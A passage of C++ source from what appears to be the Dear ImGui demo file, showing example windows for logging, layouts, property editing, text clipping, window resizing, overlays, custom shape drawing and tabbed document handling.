//----------------------------------------------------------------------------- // Usage: // static ExampleAppLog my_log; // my_log.AddLog("Hello %d world\n", 123); // my_log.Draw("title"); struct ExampleAppLog { ImGuiTextBuffer Buf; ImGuiTextFilter Filter; ImVector<int> LineOffsets; // Index to lines offset. We maintain this with AddLog() calls, allowing us to have a random access on lines bool AutoScroll; // Keep scrolling if already at the bottom ExampleAppLog() { AutoScroll = true; Clear(); } void Clear() { Buf.clear(); LineOffsets.clear(); LineOffsets.push_back(0); } void AddLog(const char* fmt, ...) IM_FMTARGS(2) { int old_size = Buf.size(); va_list args; va_start(args, fmt); Buf.appendfv(fmt, args); va_end(args); for (int new_size = Buf.size(); old_size < new_size; old_size++) if (Buf[old_size] == '\n') LineOffsets.push_back(old_size + 1); } void Draw(const char* title, bool* p_open = NULL) { if (!ImGui::Begin(title, p_open)) { ImGui::End(); return; } // Options menu if (ImGui::BeginPopup("Options")) { ImGui::Checkbox("Auto-scroll", &AutoScroll); ImGui::EndPopup(); } // Main window if (ImGui::Button("Options")) ImGui::OpenPopup("Options"); ImGui::SameLine(); bool clear = ImGui::Button("Clear"); ImGui::SameLine(); bool copy = ImGui::Button("Copy"); ImGui::SameLine(); Filter.Draw("Filter", -100.0f); ImGui::Separator(); ImGui::BeginChild("scrolling", ImVec2(0,0), false, ImGuiWindowFlags_HorizontalScrollbar); if (clear) Clear(); if (copy) ImGui::LogToClipboard(); ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0)); const char* buf = Buf.begin(); const char* buf_end = Buf.end(); if (Filter.IsActive()) { // In this example we don't use the clipper when Filter is enabled. // This is because we don't have a random access on the result on our filter. // A real application processing logs with ten of thousands of entries may want to store the result of search/filter. // especially if the filtering function is not trivial (e.g. reg-exp). for (int line_no = 0; line_no < LineOffsets.Size; line_no++) { const char* line_start = buf + LineOffsets[line_no]; const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end; if (Filter.PassFilter(line_start, line_end)) ImGui::TextUnformatted(line_start, line_end); } } else { // The simplest and easy way to display the entire buffer: // ImGui::TextUnformatted(buf_begin, buf_end); // And it'll just work. TextUnformatted() has specialization for large blob of text and will fast-forward to skip non-visible lines. // Here we instead demonstrate using the clipper to only process lines that are within the visible area. // If you have tens of thousands of items and their processing cost is non-negligible, coarse clipping them on your side is recommended. // Using ImGuiListClipper requires A) random access into your data, and B) items all being the same height, // both of which we can handle since we an array pointing to the beginning of each line of text. // When using the filter (in the block of code above) we don't have random access into the data to display anymore, which is why we don't use the clipper. // Storing or skimming through the search result would make it possible (and would be recommended if you want to search through tens of thousands of entries) ImGuiListClipper clipper; clipper.Begin(LineOffsets.Size); while (clipper.Step()) { for (int line_no = clipper.DisplayStart; line_no < clipper.DisplayEnd; line_no++) { const char* line_start = buf + LineOffsets[line_no]; const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end; ImGui::TextUnformatted(line_start, line_end); } } clipper.End(); } ImGui::PopStyleVar(); if (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY()) ImGui::SetScrollHereY(1.0f); ImGui::EndChild(); ImGui::End(); } }; // Demonstrate creating a simple log window with basic filtering. static void ShowExampleAppLog(bool* p_open) { static ExampleAppLog log; // For the demo: add a debug button _BEFORE_ the normal log window contents // We take advantage of a rarely used feature: multiple calls to Begin()/End() are appending to the _same_ window. // Most of the contents of the window will be added by the log.Draw() call. ImGui::SetNextWindowSize(ImVec2(500, 400), ImGuiCond_FirstUseEver); ImGui::Begin("Example: Log", p_open); if (ImGui::SmallButton("[Debug] Add 5 entries")) { static int counter = 0; for (int n = 0; n < 5; n++) { const char* categories[3] = { "info", "warn", "error" }; const char* words[] = { "Bumfuzzled", "Cattywampus", "Snickersnee", "Abibliophobia", "Absquatulate", "Nincompoop", "Pauciloquent" }; log.AddLog("[%05d] [%s] Hello, current time is %.1f, here's a word: '%s'\n", ImGui::GetFrameCount(), categories[counter % IM_ARRAYSIZE(categories)], ImGui::GetTime(), words[counter % IM_ARRAYSIZE(words)]); counter++; } } ImGui::End(); // Actually call in the regular Log helper (which will Begin() into the same window as we just did) log.Draw("Example: Log", p_open); } //----------------------------------------------------------------------------- // [SECTION] Example App: Simple Layout / ShowExampleAppLayout() //----------------------------------------------------------------------------- // Demonstrate create a window with multiple child windows. static void ShowExampleAppLayout(bool* p_open) { ImGui::SetNextWindowSize(ImVec2(500, 440), ImGuiCond_FirstUseEver); if (ImGui::Begin("Example: Simple layout", p_open, ImGuiWindowFlags_MenuBar)) { if (ImGui::BeginMenuBar()) { if (ImGui::BeginMenu("File")) { if (ImGui::MenuItem("Close")) *p_open = false; ImGui::EndMenu(); } ImGui::EndMenuBar(); } // left static int selected = 0; ImGui::BeginChild("left pane", ImVec2(150, 0), true); for (int i = 0; i < 100; i++) { char label[128]; sprintf(label, "MyObject %d", i); if (ImGui::Selectable(label, selected == i)) selected = i; } ImGui::EndChild(); ImGui::SameLine(); // right ImGui::BeginGroup(); ImGui::BeginChild("item view", ImVec2(0, -ImGui::GetFrameHeightWithSpacing())); // Leave room for 1 line below us ImGui::Text("MyObject: %d", selected); ImGui::Separator(); if (ImGui::BeginTabBar("##Tabs", ImGuiTabBarFlags_None)) { if (ImGui::BeginTabItem("Description")) { ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. "); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("Details")) { ImGui::Text("ID: 0123456789"); ImGui::EndTabItem(); } ImGui::EndTabBar(); } ImGui::EndChild(); if (ImGui::Button("Revert")) {} ImGui::SameLine(); if (ImGui::Button("Save")) {} ImGui::EndGroup(); } ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor() //----------------------------------------------------------------------------- // Demonstrate create a simple property editor. static void ShowExampleAppPropertyEditor(bool* p_open) { ImGui::SetNextWindowSize(ImVec2(430,450), ImGuiCond_FirstUseEver); if (!ImGui::Begin("Example: Property editor", p_open)) { ImGui::End(); return; } HelpMarker("This example shows how you may implement a property editor using two columns.\nAll objects/fields data are dummies here.\nRemember that in many simple cases, you can use ImGui::SameLine(xxx) to position\nyour cursor horizontally instead of using the Columns() API."); ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2,2)); ImGui::Columns(2); ImGui::Separator(); struct funcs { static void ShowDummyObject(const char* prefix, int uid) { ImGui::PushID(uid); // Use object uid as identifier. Most commonly you could also use the object pointer as a base ID. ImGui::AlignTextToFramePadding(); // Text and Tree nodes are less high than regular widgets, here we add vertical spacing to make the tree lines equal high. bool node_open = ImGui::TreeNode("Object", "%s_%u", prefix, uid); ImGui::NextColumn(); ImGui::AlignTextToFramePadding(); ImGui::Text("my sailor is rich"); ImGui::NextColumn(); if (node_open) { static float dummy_members[8] = { 0.0f,0.0f,1.0f,3.1416f,100.0f,999.0f }; for (int i = 0; i < 8; i++) { ImGui::PushID(i); // Use field index as identifier. if (i < 2) { ShowDummyObject("Child", 424242); } else { // Here we use a TreeNode to highlight on hover (we could use e.g. Selectable as well) ImGui::AlignTextToFramePadding(); ImGui::TreeNodeEx("Field", ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_Bullet, "Field_%d", i); ImGui::NextColumn(); ImGui::SetNextItemWidth(-1); if (i >= 5) ImGui::InputFloat("##value", &dummy_members[i], 1.0f); else ImGui::DragFloat("##value", &dummy_members[i], 0.01f); ImGui::NextColumn(); } ImGui::PopID(); } ImGui::TreePop(); } ImGui::PopID(); } }; // Iterate dummy objects with dummy members (all the same data) for (int obj_i = 0; obj_i < 3; obj_i++) funcs::ShowDummyObject("Object", obj_i); ImGui::Columns(1); ImGui::Separator(); ImGui::PopStyleVar(); ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Long Text / ShowExampleAppLongText() //----------------------------------------------------------------------------- // Demonstrate/test rendering huge amount of text, and the incidence of clipping. static void ShowExampleAppLongText(bool* p_open) { ImGui::SetNextWindowSize(ImVec2(520,600), ImGuiCond_FirstUseEver); if (!ImGui::Begin("Example: Long text display", p_open)) { ImGui::End(); return; } static int test_type = 0; static ImGuiTextBuffer log; static int lines = 0; ImGui::Text("Printing unusually long amount of text."); ImGui::Combo("Test type", &test_type, "Single call to TextUnformatted()\0Multiple calls to Text(), clipped\0Multiple calls to Text(), not clipped (slow)\0"); ImGui::Text("Buffer contents: %d lines, %d bytes", lines, log.size()); if (ImGui::Button("Clear")) { log.clear(); lines = 0; } ImGui::SameLine(); if (ImGui::Button("Add 1000 lines")) { for (int i = 0; i < 1000; i++) log.appendf("%i The quick brown fox jumps over the lazy dog\n", lines+i); lines += 1000; } ImGui::BeginChild("Log"); switch (test_type) { case 0: // Single call to TextUnformatted() with a big buffer ImGui::TextUnformatted(log.begin(), log.end()); break; case 1: { // Multiple calls to Text(), manually coarsely clipped - demonstrate how to use the ImGuiListClipper helper. ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0,0)); ImGuiListClipper clipper(lines); while (clipper.Step()) for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) ImGui::Text("%i The quick brown fox jumps over the lazy dog", i); ImGui::PopStyleVar(); break; } case 2: // Multiple calls to Text(), not clipped (slow) ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0,0)); for (int i = 0; i < lines; i++) ImGui::Text("%i The quick brown fox jumps over the lazy dog", i); ImGui::PopStyleVar(); break; } ImGui::EndChild(); ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize() //----------------------------------------------------------------------------- // Demonstrate creating a window which gets auto-resized according to its content. static void ShowExampleAppAutoResize(bool* p_open) { if (!ImGui::Begin("Example: Auto-resizing window", p_open, ImGuiWindowFlags_AlwaysAutoResize)) { ImGui::End(); return; } static int lines = 10; ImGui::Text("Window will resize every-frame to the size of its content.\nNote that you probably don't want to query the window size to\noutput your content because that would create a feedback loop."); ImGui::SliderInt("Number of lines", &lines, 1, 20); for (int i = 0; i < lines; i++) ImGui::Text("%*sThis is line %d", i * 4, "", i); // Pad with space to extend size horizontally ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize() //----------------------------------------------------------------------------- // Demonstrate creating a window with custom resize constraints. static void ShowExampleAppConstrainedResize(bool* p_open) { struct CustomConstraints // Helper functions to demonstrate programmatic constraints { static void Square(ImGuiSizeCallbackData* data) { data->DesiredSize.x = data->DesiredSize.y = (data->DesiredSize.x > data->DesiredSize.y ? data->DesiredSize.x : data->DesiredSize.y); } static void Step(ImGuiSizeCallbackData* data) { float step = (float)(int)(intptr_t)data->UserData; data->DesiredSize = ImVec2((int)(data->DesiredSize.x / step + 0.5f) * step, (int)(data->DesiredSize.y / step + 0.5f) * step); } }; static bool auto_resize = false; static int type = 0; static int display_lines = 10; if (type == 0) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 0), ImVec2(-1, FLT_MAX)); // Vertical only if (type == 1) ImGui::SetNextWindowSizeConstraints(ImVec2(0, -1), ImVec2(FLT_MAX, -1)); // Horizontal only if (type == 2) ImGui::SetNextWindowSizeConstraints(ImVec2(100, 100), ImVec2(FLT_MAX, FLT_MAX)); // Width > 100, Height > 100 if (type == 3) ImGui::SetNextWindowSizeConstraints(ImVec2(400, -1), ImVec2(500, -1)); // Width 400-500 if (type == 4) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 400), ImVec2(-1, 500)); // Height 400-500 if (type == 5) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Square); // Always Square if (type == 6) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Step, (void*)(intptr_t)100); // Fixed Step ImGuiWindowFlags flags = auto_resize ? ImGuiWindowFlags_AlwaysAutoResize : 0; if (ImGui::Begin("Example: Constrained Resize", p_open, flags)) { const char* desc[] = { "Resize vertical only", "Resize horizontal only", "Width > 100, Height > 100", "Width 400-500", "Height 400-500", "Custom: Always Square", "Custom: Fixed Steps (100)", }; if (ImGui::Button("200x200")) { ImGui::SetWindowSize(ImVec2(200, 200)); } ImGui::SameLine(); if (ImGui::Button("500x500")) { ImGui::SetWindowSize(ImVec2(500, 500)); } ImGui::SameLine(); if (ImGui::Button("800x200")) { ImGui::SetWindowSize(ImVec2(800, 200)); } ImGui::SetNextItemWidth(200); ImGui::Combo("Constraint", &type, desc, IM_ARRAYSIZE(desc)); ImGui::SetNextItemWidth(200); ImGui::DragInt("Lines", &display_lines, 0.2f, 1, 100); ImGui::Checkbox("Auto-resize", &auto_resize); for (int i = 0; i < display_lines; i++) ImGui::Text("%*sHello, sailor! Making this line long enough for the example.", i * 4, ""); } ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Simple Overlay / ShowExampleAppSimpleOverlay() //----------------------------------------------------------------------------- // Demonstrate creating a simple static window with no decoration + a context-menu to choose which corner of the screen to use. static void ShowExampleAppSimpleOverlay(bool* p_open) { const float DISTANCE = 10.0f; static int corner = 0; ImGuiIO& io = ImGui::GetIO(); if (corner != -1) { ImVec2 window_pos = ImVec2((corner & 1) ? io.DisplaySize.x - DISTANCE : DISTANCE, (corner & 2) ? io.DisplaySize.y - DISTANCE : DISTANCE); ImVec2 window_pos_pivot = ImVec2((corner & 1) ? 1.0f : 0.0f, (corner & 2) ? 1.0f : 0.0f); ImGui::SetNextWindowPos(window_pos, ImGuiCond_Always, window_pos_pivot); } ImGui::SetNextWindowBgAlpha(0.35f); // Transparent background if (ImGui::Begin("Example: Simple overlay", p_open, (corner != -1 ? ImGuiWindowFlags_NoMove : 0) | ImGuiWindowFlags_NoDecoration | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoFocusOnAppearing | ImGuiWindowFlags_NoNav)) { ImGui::Text("Simple overlay\n" "in the corner of the screen.\n" "(right-click to change position)"); ImGui::Separator(); if (ImGui::IsMousePosValid()) ImGui::Text("Mouse Position: (%.1f,%.1f)", io.MousePos.x, io.MousePos.y); else ImGui::Text("Mouse Position: <invalid>"); if (ImGui::BeginPopupContextWindow()) { if (ImGui::MenuItem("Custom", NULL, corner == -1)) corner = -1; if (ImGui::MenuItem("Top-left", NULL, corner == 0)) corner = 0; if (ImGui::MenuItem("Top-right", NULL, corner == 1)) corner = 1; if (ImGui::MenuItem("Bottom-left", NULL, corner == 2)) corner = 2; if (ImGui::MenuItem("Bottom-right", NULL, corner == 3)) corner = 3; if (p_open && ImGui::MenuItem("Close")) *p_open = false; ImGui::EndPopup(); } } ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Manipulating Window Titles / ShowExampleAppWindowTitles() //----------------------------------------------------------------------------- // Demonstrate using "##" and "###" in identifiers to manipulate ID generation. // This apply to all regular items as well. Read FAQ section "How can I have multiple widgets with the same label? Can I have widget without a label? (Yes). A primer on the purpose of labels/IDs." for details. static void ShowExampleAppWindowTitles(bool*) { // By default, Windows are uniquely identified by their title. // You can use the "##" and "###" markers to manipulate the display/ID. // Using "##" to display same title but have unique identifier. ImGui::SetNextWindowPos(ImVec2(100, 100), ImGuiCond_FirstUseEver); ImGui::Begin("Same title as another window##1"); ImGui::Text("This is window 1.\nMy title is the same as window 2, but my identifier is unique."); ImGui::End(); ImGui::SetNextWindowPos(ImVec2(100, 200), ImGuiCond_FirstUseEver); ImGui::Begin("Same title as another window##2"); ImGui::Text("This is window 2.\nMy title is the same as window 1, but my identifier is unique."); ImGui::End(); // Using "###" to display a changing title but keep a static identifier "AnimatedTitle" char buf[128]; sprintf(buf, "Animated title %c %d###AnimatedTitle", "|/-\\"[(int)(ImGui::GetTime() / 0.25f) & 3], ImGui::GetFrameCount()); ImGui::SetNextWindowPos(ImVec2(100, 300), ImGuiCond_FirstUseEver); ImGui::Begin(buf); ImGui::Text("This window has a changing title."); ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering() //----------------------------------------------------------------------------- // Demonstrate using the low-level ImDrawList to draw custom shapes. static void ShowExampleAppCustomRendering(bool* p_open) { if (!ImGui::Begin("Example: Custom rendering", p_open)) { ImGui::End(); return; } // Tip: If you do a lot of custom rendering, you probably want to use your own geometrical types and benefit of overloaded operators, etc. // Define IM_VEC2_CLASS_EXTRA in imconfig.h to create implicit conversions between your types and ImVec2/ImVec4. // ImGui defines overloaded operators but they are internal to imgui.cpp and not exposed outside (to avoid messing with your types) // In this example we are not using the maths operators! ImDrawList* draw_list = ImGui::GetWindowDrawList(); if (ImGui::BeginTabBar("##TabBar")) { // Primitives if (ImGui::BeginTabItem("Primitives")) { static float sz = 36.0f; static float thickness = 3.0f; static int ngon_sides = 6; static ImVec4 colf = ImVec4(1.0f, 1.0f, 0.4f, 1.0f); ImGui::DragFloat("Size", &sz, 0.2f, 2.0f, 72.0f, "%.0f"); ImGui::DragFloat("Thickness", &thickness, 0.05f, 1.0f, 8.0f, "%.02f"); ImGui::SliderInt("n-gon sides", &ngon_sides, 3, 12); ImGui::ColorEdit4("Color", &colf.x); const ImVec2 p = ImGui::GetCursorScreenPos(); const ImU32 col = ImColor(colf); float x = p.x + 4.0f, y = p.y + 4.0f; float spacing = 10.0f; ImDrawCornerFlags corners_none = 0; ImDrawCornerFlags corners_all = ImDrawCornerFlags_All; ImDrawCornerFlags corners_tl_br = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotRight; for (int n = 0; n < 2; n++) { // First line uses a thickness of 1.0f, second line uses the configurable thickness float th = (n == 0) ? 1.0f : thickness; draw_list->AddNgon(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, ngon_sides, th); x += sz + spacing; // n-gon draw_list->AddCircle(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, 20, th); x += sz + spacing; // Circle draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 0.0f, corners_none, th); x += sz + spacing; // Square draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_all, th); x += sz + spacing; // Square with all rounded corners draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_tl_br, th); x += sz + spacing; // Square with two rounded corners draw_list->AddTriangle(ImVec2(x+sz*0.5f,y), ImVec2(x+sz, y+sz-0.5f), ImVec2(x, y+sz-0.5f), col, th); x += sz + spacing; // Triangle draw_list->AddTriangle(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col, th); x += sz*0.4f + spacing; // Thin triangle draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y), col, th); x += sz + spacing; // Horizontal line (note: drawing a filled rectangle will be faster!) draw_list->AddLine(ImVec2(x, y), ImVec2(x, y + sz), col, th); x += spacing; // Vertical line (note: drawing a filled rectangle will be faster!) draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y + sz), col, th); x += sz + spacing; // Diagonal line draw_list->AddBezierCurve(ImVec2(x, y), ImVec2(x + sz*1.3f, y + sz*0.3f), ImVec2(x + sz - sz*1.3f, y + sz - sz*0.3f), ImVec2(x + sz, y + sz), col, th); x = p.x + 4; y += sz + spacing; } draw_list->AddNgonFilled(ImVec2(x + sz * 0.5f, y + sz * 0.5f), sz*0.5f, col, ngon_sides); x += sz + spacing; // n-gon draw_list->AddCircleFilled(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, 32); x += sz + spacing; // Circle draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col); x += sz + spacing; // Square draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f); x += sz + spacing; // Square with all rounded corners draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_tl_br); x += sz + spacing; // Square with two rounded corners draw_list->AddTriangleFilled(ImVec2(x+sz*0.5f,y), ImVec2(x+sz, y+sz-0.5f), ImVec2(x, y+sz-0.5f), col); x += sz + spacing; // Triangle draw_list->AddTriangleFilled(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col); x += sz*0.4f + spacing; // Thin triangle draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + thickness), col); x += sz + spacing; // Horizontal line (faster than AddLine, but only handle integer thickness) draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + thickness, y + sz), col); x += spacing*2.0f; // Vertical line (faster than AddLine, but only handle integer thickness) draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + 1, y + 1), col); x += sz; // Pixel (faster than AddLine) draw_list->AddRectFilledMultiColor(ImVec2(x, y), ImVec2(x + sz, y + sz), IM_COL32(0, 0, 0, 255), IM_COL32(255, 0, 0, 255), IM_COL32(255, 255, 0, 255), IM_COL32(0, 255, 0, 255)); ImGui::Dummy(ImVec2((sz + spacing) * 9.8f, (sz + spacing) * 3)); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("Canvas")) { static ImVector<ImVec2> points; static bool adding_line = false; if (ImGui::Button("Clear")) points.clear(); if (points.Size >= 2) { ImGui::SameLine(); if (ImGui::Button("Undo")) { points.pop_back(); points.pop_back(); } } ImGui::Text("Left-click and drag to add lines,\nRight-click to undo"); // Here we are using InvisibleButton() as a convenience to 1) advance the cursor and 2) allows us to use IsItemHovered() // But you can also draw directly and poll mouse/keyboard by yourself. You can manipulate the cursor using GetCursorPos() and SetCursorPos(). // If you only use the ImDrawList API, you can notify the owner window of its extends by using SetCursorPos(max). ImVec2 canvas_pos = ImGui::GetCursorScreenPos(); // ImDrawList API uses screen coordinates! ImVec2 canvas_size = ImGui::GetContentRegionAvail(); // Resize canvas to what's available if (canvas_size.x < 50.0f) canvas_size.x = 50.0f; if (canvas_size.y < 50.0f) canvas_size.y = 50.0f; draw_list->AddRectFilledMultiColor(canvas_pos, ImVec2(canvas_pos.x + canvas_size.x, canvas_pos.y + canvas_size.y), IM_COL32(50, 50, 50, 255), IM_COL32(50, 50, 60, 255), IM_COL32(60, 60, 70, 255), IM_COL32(50, 50, 60, 255)); draw_list->AddRect(canvas_pos, ImVec2(canvas_pos.x + canvas_size.x, canvas_pos.y + canvas_size.y), IM_COL32(255, 255, 255, 255)); bool adding_preview = false; ImGui::InvisibleButton("canvas", canvas_size); ImVec2 mouse_pos_in_canvas = ImVec2(ImGui::GetIO().MousePos.x - canvas_pos.x, ImGui::GetIO().MousePos.y - canvas_pos.y); if (adding_line) { adding_preview = true; points.push_back(mouse_pos_in_canvas); if (!ImGui::IsMouseDown(0)) adding_line = adding_preview = false; } if (ImGui::IsItemHovered()) { if (!adding_line && ImGui::IsMouseClicked(0)) { points.push_back(mouse_pos_in_canvas); adding_line = true; } if (ImGui::IsMouseClicked(1) && !points.empty()) { adding_line = adding_preview = false; points.pop_back(); points.pop_back(); } } draw_list->PushClipRect(canvas_pos, ImVec2(canvas_pos.x + canvas_size.x, canvas_pos.y + canvas_size.y), true); // clip lines within the canvas (if we resize it, etc.) for (int i = 0; i < points.Size - 1; i += 2) draw_list->AddLine(ImVec2(canvas_pos.x + points[i].x, canvas_pos.y + points[i].y), ImVec2(canvas_pos.x + points[i + 1].x, canvas_pos.y + points[i + 1].y), IM_COL32(255, 255, 0, 255), 2.0f); draw_list->PopClipRect(); if (adding_preview) points.pop_back(); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("BG/FG draw lists")) { static bool draw_bg = true; static bool draw_fg = true; ImGui::Checkbox("Draw in Background draw list", &draw_bg); ImGui::SameLine(); HelpMarker("The Background draw list will be rendered below every Dear ImGui windows."); ImGui::Checkbox("Draw in Foreground draw list", &draw_fg); ImGui::SameLine(); HelpMarker("The Foreground draw list will be rendered over every Dear ImGui windows."); ImVec2 window_pos = ImGui::GetWindowPos(); ImVec2 window_size = ImGui::GetWindowSize(); ImVec2 window_center = ImVec2(window_pos.x + window_size.x * 0.5f, window_pos.y + window_size.y * 0.5f); if (draw_bg) ImGui::GetBackgroundDrawList()->AddCircle(window_center, window_size.x * 0.6f, IM_COL32(255, 0, 0, 200), 48, 10+4); if (draw_fg) ImGui::GetForegroundDrawList()->AddCircle(window_center, window_size.y * 0.6f, IM_COL32(0, 255, 0, 200), 48, 10); ImGui::EndTabItem(); } ImGui::EndTabBar(); } ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Documents Handling / ShowExampleAppDocuments() //----------------------------------------------------------------------------- // Simplified structure to mimic a Document model struct MyDocument { const char* Name; // Document title bool Open; // Set when the document is open (in this demo, we keep an array of all available documents to simplify the demo) bool OpenPrev; // Copy of Open from last update. bool Dirty; // Set when the document has been modified bool WantClose; // Set when the document ImVec4 Color; // An arbitrary variable associated to the document MyDocument(const char* name, bool open = true, const ImVec4& color = ImVec4(1.0f,1.0f,1.0f,1.0f)) { Name = name; Open = OpenPrev = open; Dirty = false; WantClose = false; Color = color; } void DoOpen() { Open = true; } void DoQueueClose() { WantClose = true; } void DoForceClose() { Open = false; Dirty = false; } void DoSave() { Dirty = false; } // Display dummy contents for the Document static void DisplayContents(MyDocument* doc) { ImGui::PushID(doc); ImGui::Text("Document \"%s\"", doc->Name); ImGui::PushStyleColor(ImGuiCol_Text, doc->Color); ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua."); ImGui::PopStyleColor(); if (ImGui::Button("Modify", ImVec2(100, 0))) doc->Dirty = true; ImGui::SameLine(); if (ImGui::Button("Save", ImVec2(100, 0))) doc->DoSave(); ImGui::ColorEdit3("color", &doc->Color.x); // Useful to test drag and drop and hold-dragged-to-open-tab behavior. ImGui::PopID(); } // Display context menu for the Document static void DisplayContextMenu(MyDocument* doc) { if (!ImGui::BeginPopupContextItem()) return; char buf[256]; sprintf(buf, "Save %s", doc->Name); if (ImGui::MenuItem(buf, "CTRL+S", false, doc->Open)) doc->DoSave(); if (ImGui::MenuItem("Close", "CTRL+W", false, doc->Open)) doc->DoQueueClose(); ImGui::EndPopup(); } }; struct ExampleAppDocuments { ImVector<MyDocument> Documents; ExampleAppDocuments() { Documents.push_back(MyDocument("Lettuce", true, ImVec4(0.4f, 0.8f, 0.4f, 1.0f))); Documents.push_back(MyDocument("Eggplant", true, ImVec4(0.8f, 0.5f, 1.0f, 1.0f))); Documents.push_back(MyDocument("Carrot", true, ImVec4(1.0f, 0.8f, 0.5f, 1.0f))); Documents.push_back(MyDocument("Tomato", false, ImVec4(1.0f, 0.3f, 0.4f, 1.0f))); Documents.push_back(MyDocument("A Rather Long Title", false)); Documents.push_back(MyDocument("Some Document", false)); } }; // [Optional] Notify the system of Tabs/Windows closure that happened outside the regular tab interface. // If a tab has been closed programmatically (aka closed from another source such as the Checkbox() in the demo, as opposed // to clicking on the regular tab closing button) and stops being submitted, it will take a frame for the tab bar to notice its absence. // During this frame there will be a gap in the tab bar, and if the tab that has disappeared was the selected one, the tab bar // will report no selected tab during the frame. This will effectively give the impression of a flicker for one frame. // We call SetTabItemClosed() to manually notify the Tab Bar or Docking system of removed tabs to avoid this glitch. // Note that this completely optional, and only affect tab bars with the ImGuiTabBarFlags_Reorderable flag. static void NotifyOfDocumentsClosedElsewhere(ExampleAppDocuments& app) { for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) { MyDocument* doc = &app.Documents[doc_n]; if (!doc->Open && doc->OpenPrev) ImGui::SetTabItemClosed(doc->Name); doc->OpenPrev = doc->Open; } } void ShowExampleAppDocuments(bool* p_open) { static ExampleAppDocuments app; // Options static bool opt_reorderable = true; static ImGuiTabBarFlags opt_fitting_flags = ImGuiTabBarFlags_FittingPolicyDefault_; if (!ImGui::Begin("Example: Documents", p_open, ImGuiWindowFlags_MenuBar)) { ImGui::End(); return; } // Menu if (ImGui::BeginMenuBar()) { if (ImGui::BeginMenu("File")) { int open_count = 0; for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) open_count += app.Documents[doc_n].Open ? 1 : 0; if (ImGui::BeginMenu("Open", open_count < app.Documents.Size)) { for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) { MyDocument* doc = &app.Documents[doc_n]; if (!doc->Open) if (ImGui::MenuItem(doc->Name)) doc->DoOpen(); } ImGui::EndMenu(); } if (ImGui::MenuItem("Close All Documents", NULL, false, open_count > 0)) for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) app.Documents[doc_n].DoQueueClose(); if (ImGui::MenuItem("Exit", "Alt+F4")) {} ImGui::EndMenu(); } ImGui::EndMenuBar(); } // [Debug] List documents with one checkbox for each for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) { MyDocument* doc = &app.Documents[doc_n]; if (doc_n > 0) ImGui::SameLine(); ImGui::PushID(doc); if (ImGui::Checkbox(doc->Name, &doc->Open)) if (!doc->Open) doc->DoForceClose(); ImGui::PopID(); } ImGui::Separator(); // Submit Tab Bar and Tabs { ImGuiTabBarFlags tab_bar_flags = (opt_fitting_flags) | (opt_reorderable ? ImGuiTabBarFlags_Reorderable : 0); if (ImGui::BeginTabBar("##tabs", tab_bar_flags)) { if (opt_reorderable) NotifyOfDocumentsClosedElsewhere(app); // [DEBUG] Stress tests //if ((ImGui::GetFrameCount() % 30) == 0) docs[1].Open ^= 1; // 